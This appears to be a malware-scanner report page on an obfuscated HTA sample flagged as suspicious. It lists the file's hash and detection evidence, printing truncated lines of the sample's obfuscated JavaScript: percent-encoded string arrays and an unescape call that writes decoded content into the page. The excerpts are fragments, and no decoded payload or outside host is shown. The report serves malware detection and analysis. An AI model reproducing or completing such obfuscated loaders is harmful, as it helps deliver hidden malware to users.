Suspicious 80% Download

9055c2c1e41e0cb85248f542949b5ba77db1c56c70bc71009be7f0bcb562e2ae.hta

Obfuscated HTA payload

Calls JavaScript unescape in source textPercent-encoded content decoded
SHA-2569055c2c1e41e0cb85248f542949b5ba77db1c56c70bc71009be7f0bcb562e2ae
MaleculeH(Db)Md

Evidence

Percent-encoded content decoded lines 1–4
1<script language="javascript">
2<!--
3// == Code Obfuscation Protection from https://bls.com == //
4function _0x81c0(){var _0x10a737=['65%49%6E%7','%25%35%37%','6%43%25%34','78%33%36%6','2%30%25%32','3%33%25%33','%25%33%42%','4%25%36%27','34%25%36%3','6%25%33%33','%36%32%25 …
Calls JavaScript unescape in source text line 4
4:32531… 81c0,-0x42e*0xea+-0x14e860+0x268351),document[_0x147fbc(0x3fa)](unescape(_0x147fbc(0x917)+_0x147fbc(0x263)+_0x147fbc(0x5d8)+_0x147fbc(0x66c)+_0x147fbc(0x5a6)+_0x147fbc(0x5bb)+_0x147fbc(0x717)+_0x147fbc …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.